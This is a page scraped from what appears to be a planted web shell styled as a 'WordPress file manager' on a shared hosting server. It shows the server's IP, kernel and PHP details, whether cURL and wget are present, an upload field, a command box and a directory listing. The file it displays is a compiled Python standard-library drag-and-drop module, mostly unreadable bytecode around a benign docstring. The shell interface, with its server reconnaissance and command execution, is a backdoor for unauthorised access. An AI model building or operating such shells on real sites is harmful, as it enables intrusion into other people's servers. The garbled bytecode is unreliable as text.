GRAYBYTE WORDPRESS FILE MANAGER9268

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/lib64/python2.7/lib-tk/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib64/python2.7/lib-tk//Tkdnd.pyo
�
zfc@swdZddlZd�Zddd��YZdd
d��YZddd	��YZd
�Zedkrse�ndS(sFDrag-and-drop support for Tkinter.

This is very preliminary.  I currently only support dnd *within* one
application, between different windows (or within the same window).

I am trying to make this as generic as possible -- not dependent on
the use of a particular widget or icon type, etc.  I also hope that
this will work with Pmw.

To enable an object to be dragged, you must create an event binding
for it that starts the drag-and-drop process. Typically, you should
bind <ButtonPress> to a callback function that you write. The function
should call Tkdnd.dnd_start(source, event), where 'source' is the
object to be dragged, and 'event' is the event that invoked the call
(the argument to your callback function).  Even though this is a class
instantiation, the returned instance should not be stored -- it will
be kept alive automatically for the duration of the drag-and-drop.

When a drag-and-drop is already in process for the Tk interpreter, the
call is *ignored*; this normally averts starting multiple simultaneous
dnd processes, e.g. because different button callbacks all
dnd_start().

The object is *not* necessarily a widget -- it can be any
application-specific object that is meaningful to potential
drag-and-drop targets.

Potential drag-and-drop targets are discovered as follows.  Whenever
the mouse moves, and at the start and end of a drag-and-drop move, the
Tk widget directly under the mouse is inspected.  This is the target
widget (not to be confused with the target object, yet to be
determined).  If there is no target widget, there is no dnd target
object.  If there is a target widget, and it has an attribute
dnd_accept, this should be a function (or any callable object).  The
function is called as dnd_accept(source, event), where 'source' is the
object being dragged (the object passed to dnd_start() above), and
'event' is the most recent event object (generally a <Motion> event;
it can also be <ButtonPress> or <ButtonRelease>).  If the dnd_accept()
function returns something other than None, this is the new dnd target
object.  If dnd_accept() returns None, or if the target widget has no
dnd_accept attribute, the target widget's parent is considered as the
target widget, and the search for a target object is repeated from
there.  If necessary, the search is repeated all the way up to the
root widget.  If none of the target widgets can produce a target
object, there is no target object (the target object is None).

The target object thus produced, if any, is called the new target
object.  It is compared with the old target object (or None, if there
was no old target widget).  There are several cases ('source' is the
source object, and 'event' is the most recent event object):

- Both the old and new target objects are None.  Nothing happens.

- The old and new target objects are the same object.  Its method
dnd_motion(source, event) is called.

- The old target object was None, and the new target object is not
None.  The new target object's method dnd_enter(source, event) is
called.

- The new target object is None, and the old target object is not
None.  The old target object's method dnd_leave(source, event) is
called.

- The old and new target objects differ and neither is None.  The old
target object's method dnd_leave(source, event), and then the new
target object's method dnd_enter(source, event) is called.

Once this is done, the new target object replaces the old one, and the
Tk mainloop proceeds.  The return value of the methods mentioned above
is ignored; if they raise an exception, the normal exception handling
mechanisms take over.

The drag-and-drop processes can end in two ways: a final target object
is selected, or no final target object is selected.  When a final
target object is selected, it will always have been notified of the
potential drop by a call to its dnd_enter() method, as described
above, and possibly one or more calls to its dnd_motion() method; its
dnd_leave() method has not been called since the last call to
dnd_enter().  The target is notified of the drop by a call to its
method dnd_commit(source, event).

If no final target object is selected, and there was an old target
object, its dnd_leave(source, event) method is called to complete the
dnd sequence.

Finally, the source object is notified that the drag-and-drop process
is over, by a call to source.dnd_end(target, event), specifying either
the selected target object, or None if no target object was selected.
The source object can use this to implement the commit action; this is
sometimes simpler than to do it in the target's dnd_commit().  The
target's dnd_commit() method could then simply be aliased to
dnd_leave().

At any time during a dnd sequence, the application can cancel the
sequence by calling the cancel() method on the object returned by
dnd_start().  This will call dnd_leave() if a target is currently
active; it will never call dnd_commit().

i����NcCs$t||�}|jr|SdSdS(N(t
DndHandlertroottNone(tsourceteventth((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyt	dnd_startls	RcBsJeZdZd�Zd�Zd�Zd�Zdd�Zdd�Z	RS(cCs�|jdkrdS|jj�}y|jdSWn#tk
rV||_||_nX||_d|_|j|_	}|j|_
}d||f|_|dp�d|_|j
|j|j�|j
d|j�d|d<dS(Nis<B%d-ButtonRelease-%d>tcursorts<Motion>thand2(tnumtwidgett_roott_DndHandler__dndtAttributeErrorRRRttargettinitial_buttontinitial_widgettrelease_patterntsave_cursortbindt
on_releaset	on_motion(tselfRRRtbuttonR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyt__init__zs$
	
		cCs=|j}d|_|r9y
|`Wq9tk
r5q9XndS(N(RRR
R(RR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyt__del__�s		

c	Cs|j|j}}|jj||�}|j}d}xM|r�y
|j}Wntk
r`nX|||�}|rzPn|j}q:W|j	}||kr�|r�|j
||�q�nD|r�d|_	|j||�n|r�|j||�||_	ndS(N(
tx_rootty_rootRtwinfo_containingRRt
dnd_acceptRtmasterRt
dnd_motiont	dnd_leavet	dnd_enter(	RRtxtyt
target_widgetRt
new_targettattrt
old_target((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR�s.		


		cCs|j|d�dS(Ni(tfinish(RR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR�scCs|j|d�dS(Ni(R)(RR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pytcancel�sicCs�|j}|j}|j}|j}z�|`|jj|j�|jjd�|j|d<d|_|_|_|_|r�|r�|j	||�q�|j
||�nWd|j||�XdS(Ns<Motion>R(RRRRR
tunbindRRRt
dnd_commitR!tdnd_end(RRtcommitRRRR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR)�s				
N(
t__name__t
__module__RRRRRRR*R)(((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRvs					tIconcBsVeZd�Zddd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(	cCs$||_d|_|_|_dS(N(tnameRtcanvastlabeltid(RR2((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR�s	i
cCs�||jkr,|jj|j||�dS|jrB|j�n|sLdStj|d|jdddd�}|j||d|dd�}||_||_||_|j	d	|j
�dS(
Nttexttborderwidthitrelieftraisedtwindowtanchortnws
<ButtonPress>(R3tcoordsR5tdetachtTkintertLabelR2t
create_windowR4Rtpress(RR3R#R$R4R5((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pytattach�s	
			cCsW|j}|sdS|j}|j}d|_|_|_|j|�|j�dS(N(R3R5R4Rtdeletetdestroy(RR3R5R4((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR>�s			
cCsOt||�rK|j|_|j|_|jj|j�\|_|_	ndS(N(
RR#tx_offR$ty_offR3R=R5tx_origty_orig(RR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRB�scCs8|j|j|�\}}|jj|j||�dS(N(twhereR3R=R5(RRR#R$((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pytmove�scCs#|jj|j|j|j�dS(N(R3R=R5RHRI(R((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pytputback�scCsJ|j�}|j�}|j|}|j|}||j||jfS(N(twinfo_rootxtwinfo_rootyRRRFRG(RR3Rtx_orgty_orgR#R$((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRJ�s


cCsdS(N((RRR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR-	s(
R/R0RRCR>RBRKRLRJR-(((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR1�s		
				
tTestercBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCs_tj|�|_tj|jdddd�|_|jjdddd�|j|j_dS(Ntwidthidtheighttfilltbothtexpandi(R?tToplevelttoptCanvasR3tpackR(RR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRs!cCs|S(N((RRR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRscCs�|jj�|j|j|�\}}|jj|j�\}}}}||||}	}
|jj||||	||
�|_|j||�dS(N(R3t	focus_setRJtbboxR5tcreate_rectangletdndidR (RRRR#R$tx1ty1tx2ty2tdxtdy((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR"s
!&c	Csa|j|j|�\}}|jj|j�\}}}}|jj|j||||�dS(N(RJR3R\R^RK(	RRRR#R$R_R`RaRb((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR s!cCs-|jj�|jj|j�d|_dS(N(RXR[R3RDR^R(RRR((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR!$s
cCsE|j||�|j|j|�\}}|j|j||�dS(N(R!RJR3RC(RRRR#R$((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyR,)s(R/R0RRR"R R!R,(((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyRQs					cCs�tj�}|jd�tjd|jdd�j�t|�}|jjd�t|�}|jjd�t|�}|jjd�td�}td	�}td
�}|j	|j
�|j	|j
�|j	|j
�|j�dS(Ns+1+1tcommandR6tQuits+1+60s+120+60s+240+60tICON1tICON2tICON3(R?tTktgeometrytButtontquitRZRQRXR1RCR3tmainloop(Rtt1tt2tt3ti1ti2ti3((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyttest.s 
t__main__((((t__doc__R?RRR1RQRuR/(((s$/usr/lib64/python2.7/lib-tk/Tkdnd.pyt<module>ds	
Z<"	

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 15 2024 10:33:27
root / root
0755
test
--
June 15 2024 10:33:28
root / root
0755
Canvas.py
7.288 KB
April 10 2024 04:58:34
root / root
0644
Canvas.pyc
15.199 KB
April 10 2024 04:58:44
root / root
0644
Canvas.pyo
15.199 KB
April 10 2024 04:58:44
root / root
0644
Dialog.py
1.53 KB
April 10 2024 04:58:34
root / root
0644
Dialog.pyc
1.875 KB
April 10 2024 04:58:44
root / root
0644
Dialog.pyo
1.875 KB
April 10 2024 04:58:44
root / root
0644
FileDialog.py
8.624 KB
April 10 2024 04:58:34
root / root
0644
FileDialog.pyc
9.49 KB
April 10 2024 04:58:44
root / root
0644
FileDialog.pyo
9.49 KB
April 10 2024 04:58:44
root / root
0644
FixTk.py
2.947 KB
April 10 2024 04:58:34
root / root
0644
FixTk.pyc
2.043 KB
April 10 2024 04:58:44
root / root
0644
FixTk.pyo
1.982 KB
April 10 2024 04:58:42
root / root
0644
ScrolledText.py
1.793 KB
April 10 2024 04:58:34
root / root
0644
ScrolledText.pyc
2.602 KB
April 10 2024 04:58:44
root / root
0644
ScrolledText.pyo
2.602 KB
April 10 2024 04:58:44
root / root
0644
SimpleDialog.py
3.641 KB
April 10 2024 04:58:34
root / root
0644
SimpleDialog.pyc
4.237 KB
April 10 2024 04:58:44
root / root
0644
SimpleDialog.pyo
4.237 KB
April 10 2024 04:58:44
root / root
0644
Tix.py
75.405 KB
April 10 2024 04:58:34
root / root
0644
Tix.pyc
93.838 KB
April 10 2024 04:58:44
root / root
0644
Tix.pyo
93.838 KB
April 10 2024 04:58:44
root / root
0644
Tkconstants.py
1.458 KB
April 10 2024 04:58:34
root / root
0644
Tkconstants.pyc
2.193 KB
April 10 2024 04:58:44
root / root
0644
Tkconstants.pyo
2.193 KB
April 10 2024 04:58:44
root / root
0644
Tkdnd.py
11.219 KB
April 10 2024 04:58:34
root / root
0644
Tkdnd.pyc
12.524 KB
April 10 2024 04:58:44
root / root
0644
Tkdnd.pyo
12.524 KB
April 10 2024 04:58:44
root / root
0644
Tkinter.py
156.854 KB
April 10 2024 04:58:34
root / root
0644
Tkinter.pyc
195.499 KB
April 10 2024 04:58:44
root / root
0644
Tkinter.pyo
195.499 KB
April 10 2024 04:58:44
root / root
0644
tkColorChooser.py
1.742 KB
April 10 2024 04:58:34
root / root
0644
tkColorChooser.pyc
1.387 KB
April 10 2024 04:58:44
root / root
0644
tkColorChooser.pyo
1.387 KB
April 10 2024 04:58:44
root / root
0644
tkCommonDialog.py
1.385 KB
April 10 2024 04:58:34
root / root
0644
tkCommonDialog.pyc
1.48 KB
April 10 2024 04:58:44
root / root
0644
tkCommonDialog.pyo
1.48 KB
April 10 2024 04:58:44
root / root
0644
tkFileDialog.py
5.593 KB
April 10 2024 04:58:34
root / root
0644
tkFileDialog.pyc
5.04 KB
April 10 2024 04:58:44
root / root
0644
tkFileDialog.pyo
5.04 KB
April 10 2024 04:58:44
root / root
0644
tkFont.py
6.018 KB
April 10 2024 04:58:34
root / root
0644
tkFont.pyc
7.004 KB
April 10 2024 04:58:44
root / root
0644
tkFont.pyo
7.004 KB
April 10 2024 04:58:44
root / root
0644
tkMessageBox.py
3.601 KB
April 10 2024 04:58:34
root / root
0644
tkMessageBox.pyc
3.803 KB
April 10 2024 04:58:44
root / root
0644
tkMessageBox.pyo
3.803 KB
April 10 2024 04:58:44
root / root
0644
tkSimpleDialog.py
7.542 KB
April 10 2024 04:58:34
root / root
0644
tkSimpleDialog.pyc
8.899 KB
April 10 2024 04:58:44
root / root
0644
tkSimpleDialog.pyo
8.899 KB
April 10 2024 04:58:44
root / root
0644
ttk.py
54.856 KB
April 10 2024 04:58:34
root / root
0644
ttk.pyc
61.16 KB
April 10 2024 04:58:44
root / root
0644
ttk.pyo
61.16 KB
April 10 2024 04:58:44
root / root
0644
turtle.py
135.776 KB
April 10 2024 04:58:34
root / root
0644
turtle.pyc
136.306 KB
April 10 2024 04:58:44
root / root
0644
turtle.pyo
136.306 KB
April 10 2024 04:58:44
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF